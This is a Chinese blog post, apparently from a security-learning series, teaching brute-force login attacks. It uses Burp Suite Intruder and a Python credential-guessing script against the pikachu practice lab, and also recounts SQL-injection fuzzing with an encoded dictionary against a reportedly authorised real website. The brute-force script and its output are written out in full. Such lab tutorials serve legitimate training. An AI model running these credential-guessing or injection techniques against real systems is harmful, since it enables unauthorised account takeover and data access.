安全学习记录——渗透篇(二)爆破

上次扯了半天加密,似乎和渗透没什么关系,但是我学的是安全,并不是为了攻击而攻击,明白该如何防御也是重点。加密的主要思路其实就是相信人不会出问题,不信任传输过程,尽管加密过程极其复杂,但只要我们拥有了加密规则,可以利用这个规则写出服务器能看懂的东西也一样可以完成攻击,根本不需要去解密,服务器会帮我们解密,同时传输加密也可以绕过一些网络防火墙WAF。而完成这个过程的方法就是最最最基础的爆破。

所以今天我们来学爆破。其实我更喜欢叫它暴破,因为爆破的本质就是一个一个去试,也就是另一种穷举。只要你能找到输入的地方,就可以一点一点实验,完成攻击。爆破直到现在仍然是攻击应用最广的方式,因为现今的网络环境,在WAF、态势感知等共同作用下,注入上传漏洞已经极少,除非对一门语言或者系统理解极深的人才有可能想到别人想不到的攻击方法。但是程序语言是死的,人是活的,只要电脑还是人在用就会有账户密码,而密码的规则远远比程序宽泛,什么格式都有,人为了自己能记住一定会给密码赋予某种意义,这种意义绝对不会脱离人的经验,所以弱口令的出现是必然的,只要愿意去试,一定能试出来几个。现存的漏洞中有一半都是弱口令,剩下30%到40%都是逻辑漏洞,最后那10%到20%才是被忽视的上传注入。因此,爆破可以说是寻找漏洞过程中最重要的部分。

那么首先我们来讲讲最简单的用工具的爆破操作:

  • 首先我们进入到靶场中,这里我使用的大家应该都很熟悉的pikachu,搭建过程就是下载源文件,下载xampp,吧pikachu扔到\xampp\htdocs下就可以,然后打开xampp,开启apache和mysql即可,现在好像因为更新部分指向mysql的语句需要要调整修改为mysqli,具体哪些我记不得了网上有教程,然后输入http://localhost/pikachu就能进去了。
  • 我们来到暴力破解部分,这里有一个用户名和密码,应该怎么办呢?先看源码,这里显示有三个账户,这种一般叫源码泄露,养成看懂源码的习惯是非常重要的,哪怕不搞这个工作。只是打比赛第在看完页面注入点后一定是先看源码。
  • 我们当然不能直接靠这个提示进去,而要假设我们不知道用户和密码,那么我们就用burp抓包来看看包是个什么样子的。随便输入一个用户名和密码试试
  • 这里我们看到有一个用户名、一个密码和一个登录命令,那么我们就要将这整个包发送到我们用来包破的地方,然后我们就进入到intruder的position里看看包,bp会自动帮我们选择可以注入的地方。但是我们的目的是输入username和password,所以要点击clear清除后像平时打字编辑文字格式一样选择username和password后面的参数,选择一个点击一个add。
  • 然后我们在上方的下拉框里选一下cluster bomb,这个会让我们输入的用户和密码全部组合一遍,如果只攻击一个地方那就要选择第一个sniper。如果有几个地方可能注入的类型相同那就选第二个,这个可以选择多个地方,但是只能用一个字典,也就是几个完全相同的字典去组合。第三个会让字典里同一行的去组合,比较适合收集完信息后针对性爆破。
  • 然后我们进入到payload里面本别在1里加载用户名字典,2里加载密码字典,这个1、2是根据前面我们选择参数的上下左右顺序来的,平时看书顺序是怎么样,这里顺序就是怎样。然后我们点击start attack
  • 最后我们在response的render种就能看到页面的显示说我们login success,当然也有个比较简单的筛选方法,那就是点一下length排序,一般长度不一样的或者特别突出的多半就是成功了的,这种成功的和不成功的一般会把0包含在中间。
  • 最后我们用这个用户名和密码回页面去试试,就会登录成功。

这只是一个例子,接下来我给大家看看一个实际的漏洞寻找过程,使用了我上一篇的逆向技巧来实现注入,对方的防御和反应能力都相当强,第二天就被WAF过滤完了,所以可以看出注入漏洞到底有多么难得。要注意我是通过邀请码实名在平台注册了才敢去做,这个网站在测试名单上,而且除了测试是否有注入点外没有做任何利用,接下来的图片也可能不太全,主要是保护自己,千万不要没事到处乱搞,容易进去的。

  • 当我搜索抓包时得到输入框输入的hello在数据包中的参数为INTEXT2=aGVsbG8%3D,所以很明显是url编码过的,因为有%,但是前面明显还有编码或者加密,所以需要根据INTEXT2在源码中寻找编码加密的方式。成功找到了编码方式,在上一篇末尾。
  • 首先我利用上一篇的编码代码将我的sql注入字典全部以这个网站的编码规则全编码了一遍,以方便我在搜索时抓取到的包的搜索参数部分进行爆破。至于sql注入是什么,不懂百度一下。
  • 接下来使用被编码的字段替换原本的aGVsbG8%3D,使用sniper进行爆破,流程完全一样。然后我使用length排序,发现0居然被包含在中间,上方有整整37条语句可以搜索出东西,其中34条可以显示全部搜索结果。直接进入网页对比,发现确实是总共512页,所以判断我们注入成功。
  • 于是我对比序列号去寻找注入语句,找到以下部分,我没有去尝试利用,因为网页直接输入被过滤掉了,但是burp中可以成功,因为很晚了,所以打算一大早起来试试利用,但是这些全都被过滤得干干净净,更加说明了注入漏洞在现代社会下的弱势。后面甚至还添加了搜索间隔,导致爆破必须要设置输入时间,但这就没什么爆破的意义了,时间太长。

OK,这就是我学到现在为止第一次成功找到漏洞,这也是学会了爆破带来的提升。我们之前说过,万物皆可爆破,看看数据包,那里面的请求头、文件名、cookie等等全都是可以爆破的,只要有对应的字典,只要能画对爆破点,一个不行坚持找下一个就一定会成功。

那么我们看到了爆破中工具的使用,有没有不使用工具的办法呢,当然有,工具只是用来方便我们使用的东西,工具的背后都是代码,所以我们当然可以依靠代码来实现爆破,正好最近在学爬虫,这里以python为例子。原理是完全一样的。

import requests

#要爆破的地方,还是以pikachu为例子
url = 'http://localhost/pikachu-master/vul/burteforce/bf_form.php'
#构造请求头
header = {'Content-Type': 'application/x-www-form-urlencoded'}
#打开用户字典
with open("D:/work/web/tool/user.txt") as admin_file:
        admins = admin_file.readlines()
#打开密码字典
with open("D:/work/web/tool/code.txt") as code_file:
        codes = code_file.readlines()
#开始遍历
for admin in admins:
    for code in codes:
        username = admin.strip() #保留纯文本输入到后面的参数
        password = code.strip()
        payload = {'username': username, 'password': password, "submit": 'Login'} #输入参数
        response = requests.post(url, data=payload, headers=header)  # 注意这里使用 post,构造数据包开始发送请求
        result = str(response.status_code) + ',' + username + ',' + password + ',' + str(len(response.content)) #生成相应结果
        print(result)

得到结果,我们可以也可以使用with open把这个结果输入到csv里面导入到数据库中,这样方便我们根据最后的这个length去排序寻找可能的正确的结果。我们能看到length明显不一样的那一行,admin 123456 34695。

200,hello,1655454,34719
200,hello,1654184,34719
200,hello,868213,34719
200,hello,231358,34719
200,hello,12346,34719
200,hello,123456,34719
200,hello,987565,34719
200,hello,65433,34719
200,hello,159357,34719
200,coms,1655454,34719
200,coms,1654184,34719
200,coms,868213,34719
200,coms,231358,34719
200,coms,12346,34719
200,coms,123456,34719
200,coms,987565,34719
200,coms,65433,34719
200,coms,159357,34719
200,samloi,1655454,34719
200,samloi,1654184,34719
200,samloi,868213,34719
200,samloi,231358,34719
200,samloi,12346,34719
200,samloi,123456,34719
200,samloi,987565,34719
200,samloi,65433,34719
200,samloi,159357,34719
200,admin,1655454,34719
200,admin,1654184,34719
200,admin,868213,34719
200,admin,231358,34719
200,admin,12346,34719
200,admin,123456,34695
200,admin,987565,34719
200,admin,65433,34719
200,admin,159357,34719
200,lanse,1655454,34719
200,lanse,1654184,34719
200,lanse,868213,34719
200,lanse,231358,34719
200,lanse,12346,34719
200,lanse,123456,34719
200,lanse,987565,34719
200,lanse,65433,34719
200,lanse,159357,34719
200,fuzza,1655454,34719
200,fuzza,1654184,34719
200,fuzza,868213,34719
200,fuzza,231358,34719
200,fuzza,12346,34719
200,fuzza,123456,34719
200,fuzza,987565,34719
200,fuzza,65433,34719
200,fuzza,159357,34719
200,helanuy,1655454,34719
200,helanuy,1654184,34719
200,helanuy,868213,34719
200,helanuy,231358,34719
200,helanuy,12346,34719
200,helanuy,123456,34719
200,helanuy,987565,34719
200,helanuy,65433,34719
200,helanuy,159357,34719

  • 18
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值